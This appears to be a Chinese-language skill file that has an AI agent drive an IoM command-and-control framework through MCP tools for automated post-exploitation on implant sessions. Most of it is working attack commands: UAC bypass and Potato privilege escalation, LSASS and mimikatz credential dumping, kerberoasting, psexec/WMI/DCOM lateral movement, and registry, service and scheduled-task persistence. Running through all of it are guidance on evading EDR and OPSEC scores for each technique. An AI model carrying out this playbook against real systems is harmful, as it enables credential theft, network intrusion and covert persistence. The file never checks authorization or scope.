Iom Pentest

IoM 自动化渗透测试

通过 IoM MCP 工具进行自主渗透测试。核心是 OODA 循环 — 观察、分析、决策、行动，每个阶段根据实际环境自适应。

参数说明

$ARGUMENTS 支持阶段关键词和 session ID 的任意组合（空格分隔）：

阶段关键词

Session 目标指定

参数中非关键词的值视为 session ID 前缀：

用法示例

/iom-pentest summary                          # 全局态势概览
/iom-pentest recon                            # 所有存活 session 批量侦察
/iom-pentest recon 4d24a3 bd608a              # 指定 session 侦察
/iom-pentest recon privesc bd608a             # 对指定 session 做侦察 + 提权
/iom-pentest creds 7a0c97                     # 对 admin session 收割凭据
/iom-pentest privesc creds lateral            # 多阶段组合（所有 session）
/iom-pentest                                  # 默认 = summary

确认机制

关键规则：summary 和 recon 无需确认，其余阶段必须展示计划并获得确认。

summary / recon（无需确认）

直接执行，输出分析报告。

privesc / creds / lateral / persist（需要确认）

执行流程：

1. 先完成 recon（如果还没做）
2. 分析环境，列出可选的攻击路径和推荐方案
3. 展示执行计划，向用户确认
4. 用户确认后执行
5. 验证结果，报告成功/失败
6. 如失败，再次询问是否尝试下一个方案

核心原则

1. 每步先看数据再决定下一步 — 不盲目执行，根据环境调整策略
2. OPSEC 优先 — 先识别防护，再选择相应规避手法。详见 reference/opsec-guide.md
3. 失败即转向 — 某手法被拦截，标记并换路径，不重试同一技术
4. 最小动作原则 — 能用 BOF 就不用 execute_assembly，能不落盘就不写文件
5. 不擅自行动 — 除 summary/recon 外，所有操作必须用户确认
6. OPSEC 评分规则 — 每个技术都有 OPSEC 安全评分（1-10，越高越安全）：
   • ≥ 8 分: 安全，正常执行
   • 6-8 分: 中等风险，在执行计划中标注风险等级
   • < 6 分: 高风险，必须单独向用户告警，说明风险原因和更安全的替代方案，经用户明确同意后才能执行

OPSEC 评分参考

告警示例（OPSEC < 6 分时）：

⚠️ 高风险操作警告

命令: logonpasswords
OPSEC 评分: 5.9/10
风险: 直接读取 LSASS 内存，大部分 EDR 会拦截并告警

更安全的替代方案：
1. nanodump --fork --spoof-callstack (OPSEC 9.0) ← 推荐
2. hashdump (OPSEC 9.0) — 仅获取本地 hash，不触碰 LSASS
3. mimikatz (OPSEC 7.0) — 风险中等，但比 logonpasswords 灵活

是否仍要执行 logonpasswords？或选择替代方案？

MCP 工具使用规范

所有操作通过 mcp__iom__execute_command 执行：

• 切换 session: use <session_id_prefix> — 进入 implant 上下文
• implant 命令: 切换后直接执行 sysinfo, whoami, ps 等
• client 命令: session, listener, pipeline list 等不需要 session 上下文
• task 结果: execute_command 会自动等待并返回结果，无需手动 get_history

命令用法详见 MCP 工具的 help 描述。特别注意：

• BOF 类 UAC bypass（elevatedcom/sspi/colordataproxy/registryshell）使用位置参数
• Flag 类 UAC bypass（silentcleanup/editionupgrade）使用 --command flag
• 详见 reference/technique-reference.md

阶段总览

Summary: 全局态势概览                                [summary]  自动执行
    ↓ 了解全局，选择目标
Phase 1: 态势感知 → 身份、权限、环境、防护           [recon]    自动执行
    ↓ 检查点：我是谁？能做什么？面对什么防护？
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞       [privesc]  需确认
    ↓ 检查点：拿到高权限了吗？
Phase 3: 凭据收割 → hash / 明文 / ticket / token     [creds]    需确认
    ↓ 检查点：拿到什么凭据？能用在哪？
Phase 4: 横向移动 → psexec / wmi / dcom / ptt        [lateral]  需确认
    ↓ 检查点：新立足点在哪？重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务           [persist]  需确认
    ↓ 检查点：重启后还能回来吗？

Summary: 全局态势概览 [summary]

无需确认，无需指定 session。 俯瞰全局态势。

执行命令：

session              # 存活 session
session --all        # 全部 session（含离线）
listener             # listener 状态
pipeline list        # pipeline 状态

输出要求（结构化表格）：

1. 基础设施状态

列出 listener、pipeline 是否正常运行。

2. 主机列表（按主机分组）

将同一主机的多个 session 归为一组：

| 主机 | IP | 会话数 | 最高权限 | AV | 状态 |
|------|-----|--------|---------|-----|------|

3. 会话明细

| ID | 主机 | 用户 | 权限 | 进程/PID | 心跳 | 状态 |
|----|------|------|------|---------|------|------|

标注：

• ★ = admin/高权限
• ⚠ = 心跳超时（可能失联）
• 同一主机的冗余低权限 session 标灰

4. 网络拓扑分析

基于 IP 地址分析子网关系、可能的宿主/VM 关系。

5. 建议下一步

基于当前态势给出优先行动建议：

• 哪些 session 需要提权
• 哪些主机值得深入
• 哪些冗余 session 可以忽略
• 推荐的攻击路径

Phase 1: 态势感知 [recon]

无需确认，直接执行。支持批量 session。

单 session 执行

use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat

批量 session 执行

对每个目标 session 依次执行上述命令，最后输出对比分析报告：

## 批量侦察报告（N sessions）

### 对比矩阵
| 维度 | session1 (host1) | session2 (host2) | ... |
|------|------------------|------------------|-----|
| 权限 | High ★ | Medium | ... |
| Admin 组 | ✅ | ✅ | ... |
| AV | 火绒 | Defender | ... |
| 域 | WORKGROUP | CONTOSO | ... |
| 子网 | 192.168.86.0/24 | 10.0.0.0/24 | ... |
| 补丁级别 | 2020-11 | 2024-03 | ... |

### 各 session 建议
- session1: 已是 admin → 直接 creds
- session2: Medium + Admin 组 → privesc 可行，注意 Defender
- session3: 同主机低权限 → 可忽略（session1 已够用）

检查点

recon 完成后：输出完整分析报告和下一步建议。如果用户指定了后续阶段，则基于分析结果展示执行计划并等待确认。

Phase 2: 提权 [privesc]

需要用户确认后执行。仅当目标 session 为非管理员权限时有意义。

如果指定了多个 session，逐个分析并为每个 session 分别展示提权计划。已是 admin 的自动跳过。

完整的技术参考见 reference/technique-reference.md。

展示给用户的决策信息

基于 recon 结果，为每个需要提权的 session 列出：

1. 当前权限级别和完整性
2. 可用的提权路径（标注推荐、风险、OPSEC 评分）
3. AV 对每种方式的影响
4. 推荐执行顺序

2.1 UAC Bypass（用户在 Administrators 组 + Medium 完整性）

优先选择（BOF 类，低检测率，OPSEC 8.5）：

uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"

备选（需要 --command flag，OPSEC 8.0-8.5）：

uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"

PowerShell 类（最后手段，OPSEC 8.0，容易被拦截）：

uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass

implant 路径从 recon 的 sysinfo 获取（file 字段）。

2.2 Token/Potato（有 SeImpersonatePrivilege，OPSEC 8.0）

elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337

2.3 内核漏洞（补丁级别老旧，OPSEC 7.0）

2.4 其他路径

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem

执行后：session 查看是否有新的 * 标记 session。成功后 use <new_session> 并用 privs 确认。失败则询问用户是否尝试下一方案。

Phase 3: 凭据收割 [creds]

需要用户确认后执行。从最高权限 session 执行。

如果指定了多个 session，优先从 admin session 执行。非 admin session 只能获取 credman/autologon 等不需要特权的凭据。

展示执行计划，列出每个命令的 OPSEC 评分

hashdump                                          # OPSEC 9.0
logonpasswords                                    # OPSEC 5.9 ⚠️
credman                                           # OPSEC 9.0
autologon                                         # OPSEC 9.0
mimikatz privilege::debug sekurlsa::logonpasswords # OPSEC 7.0

如果是域环境：

ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast

检查点：收集到的凭据整理成表格，分析哪些可用于横向移动。

Phase 4: 横向移动 [lateral]

需要用户确认后执行。基于 Phase 3 的凭据和 Phase 1 的网络发现。

4.1 网络发现（自动执行）

pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443

4.2 展示横向移动计划

基于发现的存活主机和可用凭据，列出：

• 目标主机列表
• 每个目标可用的移动方式和 OPSEC 评分
• 使用哪个凭据
• 推荐方案

等待用户确认后执行：

move wmi-proccreate --target <ip> --command "C:\payload.exe"   # OPSEC 7.0
move psexec --host <ip> --service MySvc --path /local/file     # OPSEC 9.0
move dcom --target <ip> --cmd "C:\payload.exe"                 # OPSEC 7.5
move krb_ptt --ticket <base64_ticket>                          # OPSEC 7.0
token make --username admin --password P@ss --domain CONTOSO   # OPSEC 9.0

检查点：session 确认新 session，然后对新 session 回到 Phase 1。

Phase 5: 持久化 [persist]

需要用户确认后执行。根据权限级别选择。 详见 reference/technique-reference.md。

如果指定了多个 session，为每个 session 分别展示持久化方案。

展示给用户的持久化方案

列出可选机制、落盘位置、注册表路径、OPSEC 评分等，等待确认。

管理员：

persistence Registry_Key --artifact_name <name>     # OPSEC 9.0
persistence Install_Service --artifact_name <name>  # OPSEC 9.0
persistence Scheduled_Task --artifact_name <name>   # OPSEC 9.0

普通用户：

persistence startup_folder --use_malefic_as_custom_file  # OPSEC 9.0
persistence reg_key                                      # OPSEC 9.0
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"

验证：安装后检查对应的注册表/服务/计划任务确认生效。

输出报告

每次执行完成后，生成结构化报告：

## 渗透测试报告
**日期**: YYYY-MM-DD HH:MM
**范围**: $ARGUMENTS
**执行阶段**: [列出实际执行的阶段]
**目标 session**: [列出操作的 session]

### 攻击路径
初始会话 → [技术] → 提权会话 → [凭据] → 横向会话

### 会话列表
| 会话 | 主机 | 用户 | 权限 | 获取方式 |
|------|------|------|------|---------|

### 获取凭据
| 类型 | 用户 | 域 | 来源 |
|------|------|-----|------|

### 使用技术
| 阶段 | MITRE ID | 技术 | OPSEC | 结果 | 备注 |
|------|----------|------|-------|------|------|

### 防御缺口
[哪些薄弱点使攻击成功]

参考文档

$ARGUMENTS